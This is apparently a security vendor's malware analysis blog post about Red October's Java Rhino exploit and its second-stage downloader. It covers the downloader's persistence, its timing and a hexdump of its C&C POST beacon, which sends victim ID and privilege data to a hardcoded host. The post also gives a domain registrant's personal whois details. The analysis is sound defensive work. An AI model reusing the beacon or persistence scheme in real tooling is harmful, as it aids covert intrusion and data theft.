The Latest in IT Security

Red October – Java Exploit Delivery Vector Analysis


Since the publication of our report, our colleagues from Seculert have discovered and posted a blog about the usage of another delivery vector in the Red October attacks.

In addition to Office documents (CVE-2009-3129, CVE-2010-3333, CVE-2012-0158), it appears that the attackers also infiltrated victim network(s) via Java exploitation (MD5: 35f1572eb7759cb7a66ca459c093e8a1 – ‘NewsFinder.jar’), known as the ‘Rhino’ exploit (CVE-2011-3544).

We know the early February 2012 timeframe that they would have used this technique, and this exploit use is consistent with their approach in that it’s not 0-day. Most likely, a link to the site was emailed to potential victims, and the victim systems were running an outdated version of Java.

However, it seems that this vector was not heavily used by the group. When we downloaded the php responsible for serving the ‘.jar’ malcode archive, the line of code delivering the java exploit was commented out. Also, the related links, java, and the executable payload are proving difficult to track down to this point.

The domain involved in the attack is presented only once in a public sandbox at (, and only on February 14th, the very same day that they registered the domain

Privat Person
Denis Gozolov ([email protected])
Narva mnt 27
Tel. +372.54055298
Creation Date: 14-Feb-2012
Expiration Date: 14-Feb-2013

Following that quick public disclosure, related MD5s and links do not show up in public or private repositories, unlike the many other Red October components.

We could speculate that the group successfully delivered their malware payload to the appropriate target(s) for a few days, then didn’t need the effort any longer. Which may also tell us that this group, which meticulously adapted and developed their infiltration and collection toolset to their victims’ environment, had a need to shift to Java from their usual spearphishing techniques in early February 2012. And then they went back to their spear phishing.

Also of note, there was a log recording three separate victim systems behind an IP address in the US, each connecting with a governmental economic research institute in the Middle East.

So, this Java Rhino exploit appears to be of limited use. And, the functionality embedded on the server side PHP script that delivers this file is very different from the common and related functionality that we see in the backdoors used throughout the five year campaign.

The crypto routines maintained and delivered within the exploit itself are configured such that the key used to decrypt the URL strings within the exploit is delivered within the Java applet itself. Here is our PHP encryption routine to encrypt the Url for the downloader content:

And this is the function to embed the applet in the HTML, passing the encrypted URL string through parameter ‘p’:

Here is the code within the applet that consumes the encrypted strings and uses it. The resulting functionality downloads the file from the URL and writes it to ‘javaln.exe’. Notice that the strb and stra variables maintain the same strings as the $files and $charset variables in the php script:

This “transfer” decryption routine returns a URL that is concatenated with the other variables, resulting in “hXXp://”. It is this content that is written to disk and executed on the victim’s machine. A description of that downloader follows. It is most interesting that this exploit/php combination’s encryption routine is different from the obfuscation commonly used throughout Red October modules. It further suggests that potentially this limited use package was developed separately from the rest for a specific target.

2nd stage of the attack: EXE, downloader

The second stage of the attack is downloaded from “” and executed by the payload of the Java exploit. It acts as a downloader for the next stage of the attack.

Known file location: %TEMP%\javaln.exe
MD5: c3b0d1403ba35c3aba8f4529f43fb300

The file is a PE EXE file, compiled with Microsoft Visual Studio 2008 on 2012.02.06. The file is protected by an obfuscation layer, the same as used in many Red October modules.

Obfuscation layer disassembled

The module creates a mutex named “MtxJavaUpdateSln” and exits if it already exists.
After that, it sleeps for 79 seconds and then creates one of the following registry values to be loaded automatically on startup:

JavaUpdateSln=%full path to own executable%

JavaUpdateSln=%full path to own executable%

Then, after a 49 second delay, it enters an infinite loop waiting for a working Internet connection. Every 67 seconds it sends a HTTP POST request to the following sites:


Once a valid connection is established, it continues to its main loop.

C&C server connection loop

Every 180 seconds the module sends a HTTP POST request to its C&C server.
The request is sent to a hardcoded URL:

The contents of the post request follow the following format:

id=%unique user ID, retrieved from the overlay of the file%&
A=%integer, indicates whether the autorun registry key was written%&
B=%0 or 1, indicates if user has administrative rights%&
C=%integer, level of privilege assigned to the current user%

00000000  50 4f 53 54 20 68 74 74  70 3a 2f 2f 77 77 77 2e  |POST http://www.|
00000010  64 61 69 6c 79 69 6e 66  6f 6e 65 77 73 2e 6e 65  ||
00000020  74 3a 38 30 2f 72 65 70  6f 72 74 64 61 74 61 73  |t:80/reportdatas|
00000030  2e 70 68 70 20 48 54 54  50 2f 31 2e 30 0d 0a 48  |.php HTTP/1.0..H|
00000040  6f 73 74 3a 20 77 77 77  2e 64 61 69 6c 79 69 6e  |ost: www.dailyin|
00000050  66 6f 6e 65 77 73 2e 6e  65 74 3a 38 30 0d 0a 43  ||
00000060  6f 6e 74 65 6e 74 2d 6c  65 6e 67 74 68 3a 20 36  |ontent-length: 6|
00000070  32 0d 0a 43 6f 6e 74 65  6e 74 2d 54 79 70 65 3a  |2..Content-Type:|
00000080  20 61 70 70 6c 69 63 61  74 69 6f 6e 2f 78 2d 77  | application/x-w|
00000090  77 77 2d 66 6f 72 6d 2d  75 72 6c 65 6e 63 6f 64  |ww-form-urlencod|
000000a0  65 64 0d 0a 0d 0a 69 64  3d 41 41 41 39 33 39 35  ||
000000b0  37 35 32 39 35 33 31 32  35 30 35 31 34 30 32 36  |7529531250514026|
000000c0  31 30 30 36 43 43 43 39  33 33 30 30 39 42 42 42  |1006CCC933009BBB|
000000d0  31 36 35 34 31 35 31 33  26 41 3d 31 26 42 3d 31  |16541513&A=1&B=1|
000000e0  26 43 3d 32                                       |&C=2|

HTTP POST request sent to the C&C server

The module decrypts the C&C response with AMPRNG algorithm using a hardcoded key. Then, it checks if there is a valid EXE signature (“MZ”) at offset 37 in the decrypted buffer. If the signature is present, it writes the EXE file to “%TEMP%\nvsvc%p%p.exe” (%p depends on system time) and executes it.

3rd stage of the attack: EXE, unknown

Currently, the C&C server is unavailable and we do not have the executables that were served to the “javaln.exe” downloader. Most likely, they were the actual droppers, similar to the ones used with Word and Excel exploits.


As more information about the Red October becomes available and third parties are publishing their own research into the attacks, it becomes clear that the scope of the operation is bigger than originally thought.

In addition to the Java exploit presented here, it’s possible that other delivery mechanisms were used during the 5 years since this gang was active. For instance, we haven’t seen any PDF exploits yet, which are very popular with other groups – an unusual thing.

We will continue to monitor the situation and publish updates as the story uncovers.

Leave a reply





Latest Comments

Social Networks